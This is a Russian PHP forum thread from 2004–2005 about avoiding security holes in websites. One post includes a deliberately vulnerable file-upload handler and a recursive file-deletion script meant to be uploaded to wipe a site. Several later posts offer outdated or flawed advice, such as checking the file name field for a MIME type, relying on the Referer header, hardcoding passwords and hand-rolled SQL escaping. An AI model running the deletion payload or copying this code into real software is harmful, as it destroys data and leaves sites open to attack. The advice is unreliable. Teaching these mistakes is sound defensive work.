Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Типичные ошибки или как не делать дырок в своем сайте
 
 автор: Zebra   (27.09.2004 в 21:39)   письмо автору
 
 

Да как оказалось не все так просто
даже в простом коде для загрузке файла есть дырка :)
Код позже кину суть в том что вся информация поступающая на сервер должна проверяться на некоторые слова и символы.(в данном выше примера даже имя загружаемого файла)

Кузнецов М.В. и Семдянов И.В. напишите что еще нужно обязательно делать чтобы код не был дырявым.
Ведь когда будет создан какой нибудь проект то возможно придется его весь пересматривать в поисках дырочек и лазеек и вероятность их пропустить помоему больше чем если заранее продумать вопрос безапасности более усмотрительней!

   
 
 автор: cheops   (27.09.2004 в 22:01)   письмо автору
 
   для: Zebra   (27.09.2004 в 21:39)
 

Это целое исскуство... Часто Web-приложения, такие как форум или фотогалерея, позволяют посетителям публиковать собственные изображения или файлы. Это могут быть фотографии, музыкальные, текстовые или бинарные файлы. Передача пользовательских файлов на сервер уже несёт в себе потенциальную опасность, и при невнимательном кодировании может привести к серьёзным последствиям.
Следующий код позволяет продырявить сайт по самое нехочу:
<form enctype='multipart/form-data' action=handler.php method=post>
Файл : <input type=file name=filename><br>
<input type=submit value=Отправить>
</form>

<?php
  
// Файл handler.php
  // Проверяем содержимое параметра filename, передаваемого обработчику,
  // из формы в файле index.php
  
if(isset($_POST['filename'])) $filename trim($_POST['filename']);
  else 
$filename "";
  
// Если обработчику передан пустое поле filename или содержащее пробелы
  // игнорируем обращение, в противном случае выводим ссылку на файл
  
if (!empty($filename))
  {
    
// Если копирование произведено удачно, выводим ссылку на файл.
    
if (copy($filename$_FILES['filename']['name']))
      echo 
"<a href=".$_FILES['filename']['name'].">Посмотреть</a>";
    else
      echo 
"Ошибка при передаче файла на сервер.";
  }
  else
  {
    
// если переменная $filename пуста, просим повторить загрузку файла
    
echo "Имя файла не введено, повторите, пожалуйста, операцию.<br>";
    echo 
"<a href=# onClick='history.back()'>Вернуться к отправке</a>";
    exit();
  }
?>

На первый взгляд, код в листинге приведённый выше производит впечатление достаточно проработанного и предусматривающего все возможные варианты развития ситуации. Тем не менее, данное Web-приложение, позволяет полностью уничтожить сайт, на котором оно расположено. Отправка при помощи данной формы файла, например, приведённого в листинге ниже, приводит к рекурсивному удалению файлов сайта.
<?php
// Вызываем функцию удаляющую файлы c сервера с параметром "..", чтобы
// подняться на один уровень выше: это позволит уничтожить больше файлов,
// так как наверняка Web-приложение находится в отдельной директории.
delfiles("..");
// Функция удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
  
$dir opendir($catalog);
  while((
$file readdir($dir)))
  {
    
// Если текущий объект является файлом – уничтожаем его
    
if(is_file($catalog."/".$file))  unlink($$catalog."/".$file);
    
// Если текущий объект является каталогом – рекурсивно вызываем
    // функцию delfiles(), заботливо избегая каталогов "." и "..",
    // соответствующих текущему и вышележащему каталогам.
    
else if (is_dir($catalog."/".$file) &&
            (
$file != ".") && 
            (
$file != "..")) delfiles($catalog."/".$file);  
  }
  
// Закрываем директорию
  
closedir($dir);
  
// Удаляем директорию
  
rmdir($catalog);
}
?>


PS Листинги и курсивый текст из будующей книги /*Кто-то тут анонсов просил :)))*/
PPS Поэтому я всегда призываю изучать UNIX (Linux в частности), так как глубокое знание серверных операционных систем позволит писать более защищённый код.
PPPS Этот форум, по крайней мере этим способом, ломать не следует - здесь это не сработает...
PPPPS Я пишусь через букву И: Симдянов :)))

   
 
 автор: Observer   (12.11.2005 в 00:58)   письмо автору
 
   для: cheops   (27.09.2004 в 22:01)
 

А как быть с бинарными файлами, если например нужно загружать на сервер jpg и нужно удостовериться что это именно jpg?

   
 
 автор: cheops   (12.11.2005 в 01:06)   письмо автору
 
   для: Observer   (12.11.2005 в 00:58)
 

В самом простейшем случае можно проверить тип загруженного файла
<?php
  
if($_FILES['filename']['name'] != 'image/pjpeg') exit("Допустимы только графические файлы");
?>

В большинстве случаев достаточно проверить содержит ли первые 5 символов $_FILES['filename']['name'] подстроку "image".
<?php
  
if(substr($_FILES['filename']['name'],0,5) == "image")
  {
    
// Загружено изображение
  
}
?>

   
 
 автор: Observer   (12.11.2005 в 11:18)   письмо автору
 
   для: cheops   (12.11.2005 в 01:06)
 

Как можно в бинарном файле искать подстроку?

А что касается первого варианта, то меняем расширение любого файла на .jpg и он становится image/jpeg

   
 
 автор: cheops   (12.11.2005 в 12:02)   письмо автору
 
   для: Observer   (12.11.2005 в 11:18)
 

>Как можно в бинарном файле искать подстроку?
Можно при помощи регулярного выражения, только бинарную последовательность придётся записать в шестнадцетиричном формате.

   
 
 автор: Кузнецов М.В.   (28.09.2004 в 16:27)   письмо автору
 
   для: Zebra   (27.09.2004 в 21:39)
 

>Кузнецов М.В. и Симдянов И.В. напишите что еще нужно
>обязательно делать чтобы код не был дырявым.
В новой книге этому вопросу посвящена отдельная глава, которая так и называется - Безопасность создаваемых приложений. Хотя, признаюсь, с точки зрения того, что хотелось бы сказать, не все в этой главе уместилось, потому что по этому вопросу можно писать отдельную книгу. Да и тема, как правильно заметил Игорь, очень соприкасается со смежными областями, в основном с безопасностью работы с СУБД и корректной настройке серверов. М.б., мы напишем такую книгу, которая целиком бы была посвящена вопросам безопасности создаваемых приложений. А в той, про которую речь мы постарались сказать самое основное, затронув, тем не менее, и сервера с базами данных.

   
 
 автор: chip   (15.11.2004 в 22:14)   письмо автору
 
   для: Zebra   (27.09.2004 в 21:39)
 

Автор: php.spiker.ru
Дата добавления: 10-11-2004

Привет всем web-программерам :) Вот наконец у меня дошли руки до Блокнота :o), в котором я и пишу сейчас эту статью. Статья, имхо, чрезвычайно важной тематики, что ясно по названию - "Безопасность в PHP". Именно: я постараюсь описать наиболее распространенные приемы защиты php-скриптов от злых хакИров. Имейте в виду, эта статья - не панацея от взлома. Просто применение этих приёмов несколько усложнит задачу взломщика. Настоятельно рекомендую всем использовать свои методы защиты, написанные с учетом специфики именно вашего сайта. Если хакер не сможет догадаться, как все "закручено" в вашем скрипте, и какие там стоят "заглушки", то желание ломать у него, скорее всего, быстро пропадет. Что нам и надо :) Итак, disclaimer окончен, перейдем непосредственно к безопасности.
Не секрет, что 99% (а то и все 100) всех взломов веб-приложений происходят в результате того, что хакер передает скрипту не те данные, которые тот ожидает получить. (Простейший пример - гостевая книга, где можно писать HTML-тегами. При написании скрипта неопытный программер даже не подумал о том, что пользователь может передать скрипту что-то еще, кроме plain text-a). Поэтому, если ты думаешь, что кто-то может попробовать пощупать твои скрипты на безопасность, встрой в скрипт проверку на соответствие получаемой инфы твоему типу данных. За примером далеко ходить не надо: имеется гостевая книга, сообщения которой выводятся не на одной странице, а разбиты на несколько. При этом, чтобы прочитать, скажем, четвертую страницу, вызывается скрипт view.php?page=4. Где переменная $page принимает целые значения. Целые? Ок, так и не позволим хакеру дать ей, значение, например, "?>": $page=intval($page) вернет целую часть действительной переменной, 0 - для строковой переменной, и $page, если $page - целая переменная. Теперь в скрипте можно написать: if($page==0) echo("Похакай мне тут!"); и хакер обломается :)
Теперь еще один важный момент. (Если вы еще не забыли, я по-прежнему рассказываю о PHP без MySQL, т.е. в моих примерах мы будем работать с текстовыми файлами). Допустим, мы имеем скрипт-шаблонизатор main.php, который будет вызываться с параметром page=abc (main.php?page=news, к примеру), и при запуске будет пытаться прочитать содержимое файла "text/abc/text.txt", дабы вставить его в страницу и показать пользователю. Теперь представим, что каталога "text/abc" не существует (хакер опять-таки задал неверное значение), что вернет нам пхп? Правильно, ужасные, нарушающие весь дизайн сайта строки "Warning: fopen("text/abc/text.txt","r") - No such file or directory in /home/user/main.php on line 20, Warning: Supplied argument is not a valid File-Handle resource in /home/user/main.php on line 21). Конечно, никаких особо вредных последствий для сайта при этом не будет, но... А что, если в нашем файле скрипт не читает инфу из файла, а пишет туда? Может получиться нехорошо :) К примеру, если хакер вызовет скрипт так: main.php?page=../, скрипт может занести инфу в совсем уж непотребное место :) Итак, как избежать такого эффекта? Посмотрим. Во-первых, даже если хакеру и удалось спровоцировать ошибку, он не должен знать о своем успехе. Для этого заменим строку $textfile=fopen("text/$page/text.txt",r); на следующую: $textfile=@fopen("text/$page/text.txt",r). Как видите, добавилась собака (@). Для чего это нужно? Очень просто - символ @ блокирует вывод всех сообщений парсера об ошибках, связанных с той функцией, перед которой стоит собака. Так что, даже если ошибка и произошла, хакер об этом не узнает. А теперь - как предотвратить такую ошибку. Это очень просто - перед чтением файла следует сделать проверку на его существование. Примерно вот так:
<?
if(file_exists("text/$page/text.txt"))
$ok=1;
else
$ok=0;

if(
$ok!=1) {
echo(
"hacker? wow...");
exit;
}
?>

как видишь,все просто :)
Так, с заменой параметров прямо в строке запроса разобрались. Взломщик потерпел полное фиаско и решил поисследовать твои формочки. И тут мы его обломим :) Предположим, что хакер решил поправить некоторые параметры, к примеру, формы гостевой книги, и посмотреть, что получится. Для этого ему надо сохранить HTML-файл с формой к себе на винт и отредактировать в блокноте, после чего отправить инфу нам. Отловить такого плохого мальчика проще простого :) Делается это через переменную HTTP_REFERER. Вот простенький код:
<?php
$ref
=getenv('HTTP_REFERER');
if(!
ereg("^http://адрес.нашего.сайта",$ref)){
  echo(
"error wrong referer!");
  exit;
}
?>

Добавь этот код в начало своей гостевухи, и юные хакИры будут несколько озадачены. 90% за то, что на этом месте они перестанут ломать твой код. Для остальной же, более продвинутой публики стоит сделать еще несколько сюрпризов. Как, например, запретить употребление HTML-тегов (только представь, что можно натворить при помощи JavaScript...): я делаю это такой функцией:
function nohtml($string) {
$html = array (
"&" => "&",
""" => """,
"<" => "<",
">" => ">",
""" => """
);
for(reset($html); $key=key($html); next($html)) {
$string = str_replace("$key","$html[$key]",$string);

Эти приёмы усложняют жизнь начинающим хакерам и упрощают тебе - не придется, чертыхаясь, вычищать теги из гостевой / чата / форума.
И последний вопрос, который я хотел сегодня рассмотреть - авторизация. Я чуть со смеху не помер, увидев на одном сайте авторизацию средствами JavaScript. Да-да, не смейтесь! Выскакивала строка запроса, введенное значение прямо в исходнике HTML (!) сравнивалось с верным пассвордом и, в зависимости от результата проверки, происходил редирект броузера либо на error.htm, либо на secured.htm. Автор такой мега-авторизации надеялся, что хакер не успеет после ввода пароля просмотреть исходник HTML, но мы-то знаем, что ВСЮ подноготную client-side приложений можно найти в кеше... Так что единственно надежным (и то не всегда) механизмом авторизации мы будем считать авторизацию со стороны сервера. Как же сделать такую проверку в PHP? Очень просто: в форму вставить объект <input type=password name=password>, а в PHP - код такого вида:
<?php 
if($password!="qwerty")
{
  echo(
"Wrong password!");
  exit;
}
?>

Этот способ имеет ряд недостатков. Во-первых, если ты админ, иногда неохота каждый раз вводить длинный пароль. "Подумаешь, есть же кукисы!" - скажешь ты. "Ввел один раз пароль - а дальше он пускает тебя автоматом - эх красота!" Верно, но предположим, что ты используешь прокси. Тогда существует вероятность, что кто-нибудь, сидящий через тот же прокси, запросит твой админовский скрипт, и прокси выдаст ему тот документ, который был сформирован после авторизации! Это нам совсем не нужно. Надо либо делать каждый раз logout, что ведет к тому же геморрою, что и с формами, либо ставить сервак на защищенное соединение (протокол HTTPS ;)). Еще один вариант защиты - положить все админовские скрипты в каталог admin и настроить доступ к нему при помощи .htaccess. Тогда хакеру придется ломать уже веб-сервер, что куда сложнее, чем может показаться. НО доступ к .htaccess есть не всегда. Что же делать? Есть способ проще - RONDO ;) в начало каждого админовского скрипта поместим такой вот код:
<?php 
if ( ($PHP_AUTH_USER != "admin") ($PHP_AUTH_PW != "coolpassword") ) {
Header("WWW-Authenticate: Basic realm="For admins"");
Header("HTTP/1.0 401 Unauthorized");
echo(
"<HTML><HEAD><TITLE>В доступе отказано!</TITLE>
</HEAD><BODY><center><font color=red><b>access denied!
</b></font></center><br><br><br></BODY></HTML>"
);
exit;
}
?>

Итак. Если две переменные $PHP_AUTH_USER и $PHP_AUTH_PW не соответствуют некоторым значениям, формируем окошко с запросом на авторизацию (код 401). Если пользователь ввел правильные логин и пароль, то на время этой сессии он получит доступ ко всем скриптам админа, в которых используется такая авторизация - браузер просто "запомнит" эти значения логина и пароля, и пока ты не закроешь это окно, будет автоматом подставлять их во все запросы. Если ты случайно закрыл окошко, не закончив админить сайт, то окошко выскочит еще раз, что неудобно. Но в IE, например, есть очень удобная галочка Save Password ;) Теперь для того, чтобы авторизоваться, достаточно один раз нажать OK. Удобно нам - неудобно хакИру :) Этот способ практически не имеет недостатков, единственное - он работоспособен не на всех версиях апача. Для того, чтобы все было OK, PHP должен быть установлен как модуль Apache. Ну вот на wallst.ru, к примеру, все работает :)
Надеюсь, теперь тебя не хакнут. Удачи! Если есть какие-то вопросы, пиши в комментах.

   
 
 автор: DDK   (12.11.2005 в 01:05)   письмо автору
 
   для: Zebra   (27.09.2004 в 21:39)
 

Вот ещё. Через эту функцию стоит прогонять каждую переменную, записываемую в MySQL базу при помощи фунцкии mysql_query();

<?
function mysqlparser($txtstr) {
$txtstr str_replace("\\""\\\\"$txtstr);
$txtstr str_replace("\"""\\\""$txtstr);
$txtstr str_replace("'""\'"$txtstr);
return 
$txtstr;
}
?>

   
 
 автор: cheops   (12.11.2005 в 01:08)   письмо автору
 
   для: DDK   (12.11.2005 в 01:05)
 

Для этих целей лучше испльзовать стандартную функцию mysql_escape_string(), которая выполняет ту же работу но быстрее...

   
 
 автор: DDK   (12.11.2005 в 01:11)   письмо автору
 
   для: cheops   (12.11.2005 в 01:08)
 

Коленочный вариант тоже не плох ;-))))

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования